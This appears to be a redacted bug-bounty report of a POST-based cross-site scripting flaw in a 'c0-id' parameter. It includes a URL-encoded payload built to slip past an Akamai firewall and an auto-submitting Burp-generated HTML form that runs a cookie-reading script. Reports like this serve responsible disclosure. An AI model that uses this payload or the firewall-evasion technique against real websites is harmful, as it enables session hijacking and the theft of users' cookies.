Cross-Site Scripting (XSS) Vulnerability via parameter c0-id + Akamai Firewall Bypass

How it was found

Hi! I discovered a Cross-Site Scripting (XSS) vulnerability on ████████, specifically through the POST method. This vulnerability allows an attacker to inject malicious scripts that could be executed, potentially leading to cookie theft, session hijacking, and other malicious actions.

Url: ██████████

Payload to bypass Akamai Firewall: '%3cinput%3e'%22%3e%3cA%20HRef%3d%5c%22%20AutoFocus%20OnFocus%3dtop%2f%2a%2a%2f%3f%2e'ale'%2B'rt'%3e

References

█████

Impact

Exploitation of this vulnerability can lead to severe consequences, including but not limited: Session Hijacking: Attackers can steal cookies and impersonate legitimate users.

System Host(s)

███████

Affected Product(s) and Version(s)

CVE Numbers

Steps to Reproduce

Use this code in your own website to execute the XSS Method Post.

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="████████" method="POST">
      <input type="hidden" name="c0&#45;id" value="8634&#95;1727770004276&apos;&lt;input&gt;&apos;&quot;&gt;&lt;A&#32;HRef&#61;&#92;&quot;&#32;AutoFocus&#32;OnFocus&#61;top&#47;&#42;&#42;&#47;&#63;&#46;&#91;&apos;ale&apos;&#43;&apos;rt&apos;&#93;&#40;document&#43;cookie&#41;&gt;" />
      <input type="hidden" name="c0&#45;methodName" value="getHelpText" />
      <input type="hidden" name="c0&#45;param0" value="string&#58;&lt;wddxPacket&#32;version&#61;&apos;1&#46;0&apos;&gt;&lt;header&#47;&gt;&lt;data&gt;&lt;string&gt;sponsor&#95;org&#95;type&lt;&#47;string&gt;&lt;&#47;data&gt;&lt;&#47;wddxPacket&gt;" />
      <input type="hidden" name="c0&#45;scriptName" value="null" />
      <input type="hidden" name="callCount" value="1" />
      <input type="hidden" name="method" value="init" />
      <input type="hidden" name="xml" value="true" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Suggested Mitigation/Remediation Actions

Apply context-dependent encoding and/or validation to user input rendered on a page